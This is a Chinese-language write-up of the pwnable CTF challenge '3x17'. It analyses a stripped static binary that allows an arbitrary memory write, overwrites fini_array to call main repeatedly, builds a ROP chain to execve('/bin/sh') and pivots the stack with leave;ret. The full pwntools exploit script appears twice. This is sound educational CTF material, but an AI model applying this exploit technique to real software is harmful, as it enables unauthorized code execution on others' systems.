[pwnable] 3x17 wp


title: 3x17
description: pwnable | elf文件格式 | ROP

##题目考点

  • elf文件格式
  • ROP

##解题思路

先checksec,amd64,有nx(其实也有canary但没检测出来),没开PIE,拖入ida进行分析,发现扣掉了符号表;
readelf -h一下,找到程序入口点,标准的start函数:

; Attributes: noreturn fuzzy-sp

public start
start proc near
; __unwind {
xor     ebp, ebp
mov     r9, rdx
pop     rsi
mov     rdx, rsp
and     rsp, 0FFFFFFFFFFFFFFF0h
push    rax
push    rsp
mov     r8, offset sub_402960		;r8中存入libc_csu_fini()地址
mov     rcx, offset sub_4028D0		;rcx中存入libc_csu_init()地址
mov     rdi, offset sub_401B6D		;rdi中存入main()地址
db      67h
call    sub_401EB0					;call libc_start_main()函数
hlt
; } // starts at 401A50
start endp

根据elf文件的标准格式,获得main()等主要函数地址,先对主函数进行分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char *v4; // [rsp+8h] [rbp-28h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);				//canary
  result = (unsigned __int8)++byte_4B9330;	//可以char溢出(每过0x100次循环又重新归零),对解题影响不大
  if ( byte_4B9330 == 1 )
  {
    sub_446EC0(1u, "addr:", 5uLL);
    sub_446E20(0, &buf, 0x18uLL);
    v4 = (char *)(int)sub_40EE70(&buf);
    sub_446EC0(1u, "data:", 5uLL);
    sub_446E20(0, v4, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != v6 )
    sub_44A3E0();
  return result;
}

在主函数的逻辑中,可以看到程序先读取了一个地址(int型),然后将其作为字符型指针,可以在该地址上写入0x18的数据;

因此,可以通过反复调用main函数在合适的地方构造ROP链,实现无限次的任意地址写入从而getshell;

根据对elf程序结构的了解,可以知道程序执行完main函数后,会执行_libc_csu_fini函数:

_libc_csu_fini  proc near
; __unwind {
                push    rbp 					;func prologue
                lea     rax, unk_4B4100			;rax = 0x4B4100
                lea     rbp, off_4B40F0			;rbp = 0x4B40F0
                push    rbx
                sub     rax, rbp 				;即函数数组长度
                sub     rsp, 8
                sar     rax, 3					;0x10 -> 0x02(16 bytes -> 2 个64位地址)
                jz      short loc_402996
                lea     rbx, [rax-1]
                nop     dword ptr [rax+00000000h]
loc_402988:
                call    qword ptr [rbp+rbx*8+0]	;先执行(*(rbp + 8))(), 再执行(*rbp)()
                sub     rbx, 1
                cmp     rbx, 0FFFFFFFFFFFFFFFFh
                jnz     short loc_402988
loc_402996:                             
                add     rsp, 8
                pop     rbx
                pop     rbp
                jmp     _term_proc
; } // starts at 402960
_libc_csu_fini  endp

根据上述分析,发现可以通过修改0x4B40F0处 fini_array[2] 中元素的值,达到无限次循环调用_libc_csu_fini与main函数的目的,进而构造rop链getshell:

#构造fini_array,使得程序可以无限次进入main函数
main_addr = 0x401B6D
fini_addr = 0x402960
fini_array= 0x4B40F0
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(fini_addr) + p64(main_addr))
#构造ROP链
prdi = 0x401696
pdxsi= 0x44a309
prax = 0x41e4af
sysc = 0x4022b4
bufad= 0x4B9300		#到.bss段随便找个位置放"/bin/sh\x00"
bufda= b'/bin/sh\x00'
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x10).encode())
p.recvuntil(b'data:')
p.send(p64(pdxsi))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x18).encode())
p.recvuntil(b'data:')
p.send(p64(0) + p64(0))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x28).encode())
p.recvuntil(b'data:')
p.send(p64(prdi) + p64(bufad))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x38).encode())
p.recvuntil(b'data:')
p.send(p64(prax) + p64(0x3b))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x48).encode())
p.recvuntil(b'data:')
p.send(p64(sysc))

p.recvuntil(b'addr:')
p.send(str(bufad).encode())
p.recvuntil(b'data:')
p.send(bufda)

至于rop链构造的位置,通过分析_libc_csu_fini函数以及fini_array地址附近可以发现,_fini_array附近有一片连续的可利用的地址空间且rbp值被设置为0x4B40F0,至于rsp的值可以通过leave;ret;语句来进行调整:
最初rbp指向0f0 - 0x8(libccsufini函数中有push rbx操作),不能直接leave;ret;
这里有两种选择: 仍然使finiarray[1] 为main函数地址,而后leaveret,或者先ret再leaveret;
(leave == mov rsp, rbp; pop rbp)
(ret == pop rip)

#调整rbp,rsp,getshell
leaveret = 0x401c4b
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(leaveret))

##exploit
直接组合起来即可getshell

from pwn import *

p = process("./3x17")

#构造fini_array,使得程序可以无限次进入main函数
main_addr = 0x401B6D
fini_addr = 0x402960
fini_array= 0x4B40F0
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(fini_addr) + p64(main_addr))

#构造ROP链
prdi = 0x401696
pdxsi= 0x44a309
prax = 0x41e4af
sysc = 0x4022b4
bufad= 0x4B9300		#到.bss段随便找个位置放"/bin/sh\x00"
bufda= b'/bin/sh\x00'
p.recvuntil(b'addr:')
p.send(str(fini_array + 0x10).encode())
p.recvuntil(b'data:')
p.send(p64(pdxsi))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x18).encode())
p.recvuntil(b'data:')
p.send(p64(0) + p64(0))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x28).encode())
p.recvuntil(b'data:')
p.send(p64(prdi) + p64(bufad))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x38).encode())
p.recvuntil(b'data:')
p.send(p64(prax) + p64(0x3b))

p.recvuntil(b'addr:')
p.send(str(fini_array + 0x48).encode())
p.recvuntil(b'data:')
p.send(p64(sysc))

p.recvuntil(b'addr:')
p.send(str(bufad).encode())
p.recvuntil(b'data:')
p.send(bufda)
#调整rbp,rsp,getshell
leaveret = 0x401c4b
p.recvuntil(b'addr:')
p.send(str(fini_array).encode())
p.recvuntil(b'data:')
p.send(p64(leaveret))

p.interactive()
上一篇:2022 RWCTF PWN SVME


下一篇:BUUCTF 2021-10-4 Pwn